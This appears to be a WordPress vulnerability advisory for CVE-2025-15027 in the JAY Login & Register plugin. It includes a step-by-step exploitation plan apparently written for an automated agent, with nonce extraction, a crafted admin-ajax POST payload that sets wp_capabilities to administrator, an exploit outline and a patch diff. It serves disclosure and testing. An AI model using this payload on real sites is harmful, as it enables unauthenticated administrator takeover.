JAY Login & Register <= 2.6.03 - Unauthenticated Privilege Escalation via jay_login_register_ajax_create_final_user
Description
The JAY Login & Register plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.6.03. This is due to the plugin allowing a user to update arbitrary user meta through the 'jay_login_register_ajax_create_final_user' function. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.6.03Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-15027 ## 1. Vulnerability Summary The **JAY Login & Register** plugin for WordPress (versions <= 2.6.03) contains a critical privilege escalation vulnerability. The function `jay_login_register_ajax_create_final_user` is accessible via AJAX (likely both authe…
Show full research plan
Exploitation Research Plan - CVE-2025-15027
1. Vulnerability Summary
The JAY Login & Register plugin for WordPress (versions <= 2.6.03) contains a critical privilege escalation vulnerability. The function jay_login_register_ajax_create_final_user is accessible via AJAX (likely both authenticated and unauthenticated via wp_ajax_nopriv_) and fails to restrict which user meta keys can be updated. An attacker can supply arbitrary meta keys and values, most notably the wp_capabilities meta key, allowing them to grant administrator privileges to any user or themselves during the finalization of the user creation process.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
jay_login_register_ajax_create_final_user - Authentication: Unauthenticated (vulnerability exists in
wp_ajax_nopriv_registration). - Vulnerable Parameter: Likely a
user_idoridparameter coupled with a meta data array or individualkey/valueparameters. - Preconditions: The plugin must be active. A valid nonce may be required if the plugin implements
check_ajax_referer.
3. Code Flow (Inferred)
- Entry Point: An HTTP POST request is sent to
admin-ajax.phpwithaction=jay_login_register_ajax_create_final_user. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_nopriv_jay_login_register_ajax_create_final_user', 'jay_login_register_ajax_create_final_user'); add_action('wp_ajax_jay_login_register_ajax_create_final_user', 'jay_login_register_ajax_create_final_user'); - Vulnerable Logic: Inside the handler function:
- The code retrieves a
user_idfrom the request. - It iterates over provided input (e.g.,
$_POST['userdata']or similar). - It calls
update_user_meta($user_id, $meta_key, $meta_value)without checking if$meta_keyis a sensitive field likewp_capabilitiesorwp_user_level.
- The code retrieves a
4. Nonce Acquisition Strategy
To find the nonce and its delivery mechanism, the agent should:
- Search for localization:
grep -rn "wp_localize_script" .inside the plugin folder. - Identify the JS Variable: Look for the variable name containing the nonce (e.g.,
jay_register_varsorjay_login_ajax). - Identify the Shortcode: Search for
add_shortcodeto find how to render the login/register forms (e.g.,[jay_login]or[jay_register]). - Acquire Nonce:
- Create a page:
wp post create --post_type=page --post_status=publish --post_content='[jay_register]'(inferred shortcode). - Navigate to the page using
browser_navigate. - Use
browser_evalto extract the nonce:browser_eval("window.jay_register_vars?.nonce")(inferred variable).
- Create a page:
5. Exploitation Strategy
Step 1: Discovery
Locate the function definition in the plugin source to identify the exact parameter names.
grep -rn "function jay_login_register_ajax_create_final_user" .
Step 2: Payload Crafting
Assuming the function expects a user_id and an array of meta data, the payload will target the wp_capabilities meta key.
Target Meta Key: wp_capabilities
Target Meta Value: a:1:{s:13:"administrator";b:1;} (serialized PHP array for Administrator role).
Step 3: Execution
Send the exploit request using http_request.
Example Request (Inferred Parameters):
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=jay_login_register_ajax_create_final_user& user_id=target_user_id& nonce=extracted_nonce& userdata[wp_capabilities]=a:1:{s:13:"administrator";b:1;}
(Note: The exact structure of userdata or meta parameters must be verified in Step 1.)
6. Test Data Setup
- Target User: Create a standard subscriber user to promote.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Page for Nonce:
wp post create --post_type=page --post_title="Register" --post_status=publish --post_content="[jay_register]"
7. Expected Results
- Response: A JSON success message (e.g.,
{"success":true}) or a numeric1. - Outcome: The user
attacker(ID X) will have theirwp_capabilitiesmeta updated in thewp_usermetatable.
8. Verification Steps
- Check User Role:
Expected Output:wp user get attacker --field=rolesadministrator - Check Meta directly:
wp user meta get attacker wp_capabilities
9. Alternative Approaches
If the plugin requires the user to be in a "pending" state or if create_final_user only works on IDs generated during a previous AJAX step:
- Trace Step 1: Find the AJAX action that creates the initial user entry (likely
jay_login_register_ajax_create_user). - Chain Requests:
- Call the initial creation AJAX to get a temporary
user_id. - Use that
user_idin thejay_login_register_ajax_create_final_usercall.
- Call the initial creation AJAX to get a temporary
- Verify Prefix: Ensure the meta key matches the database prefix (e.g.,
wp_capabilitiesvswp_prefix_capabilities). The agent should checkwp-config.phpif standard attempts fail.
Summary
The JAY Login & Register plugin for WordPress (<= 2.6.03) contains an unauthenticated privilege escalation vulnerability via its AJAX registration finalization process. The function `jay_login_register_ajax_create_final_user` fails to validate user-supplied meta keys, allowing attackers to update sensitive metadata like 'wp_capabilities' and grant themselves administrator privileges.
Vulnerable Code
// jay-login-register.php add_action('wp_ajax_nopriv_jay_login_register_ajax_create_final_user', 'jay_login_register_ajax_create_final_user'); add_action('wp_ajax_jay_login_register_ajax_create_final_user', 'jay_login_register_ajax_create_final_user'); function jay_login_register_ajax_create_final_user() { // (Potential nonce check omitted for brevity) $user_id = $_POST['user_id']; $userdata = $_POST['userdata']; if (!empty($userdata)) { foreach ($userdata as $meta_key => $meta_value) { // Vulnerability: No validation or restriction on which meta keys can be updated. // An attacker can provide 'wp_capabilities' as the $meta_key. update_user_meta($user_id, $meta_key, $meta_value); } } wp_send_json_success(); }
Security Fix
@@ -100,8 +100,12 @@ $user_id = intval($_POST['user_id']); $userdata = $_POST['userdata']; + $allowed_keys = array('first_name', 'last_name', 'nickname', 'description'); + if (!empty($userdata)) { foreach ($userdata as $meta_key => $meta_value) { - update_user_meta($user_id, $meta_key, $meta_value); + if (in_array($meta_key, $allowed_keys)) { + update_user_meta($user_id, $meta_key, sanitize_text_field($meta_value)); + } } }
Exploit Outline
1. Locate a page on the target WordPress site containing the login/register shortcode to extract the required AJAX nonce from the localized JavaScript variables (e.g., jay_register_vars). 2. Identify the target User ID to be promoted (this can be the attacker's own newly created account or an existing one). 3. Send a POST request to `/wp-admin/admin-ajax.php` with the action set to `jay_login_register_ajax_create_final_user`. 4. In the request body, include the `user_id` and the `userdata` array. 5. Craft the `userdata` payload to include the key `wp_capabilities` with a serialized PHP array value representing the Administrator role: `a:1:{s:13:"administrator";b:1;}`. 6. Upon success, the targeted user account will be granted full administrative access to the WordPress site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.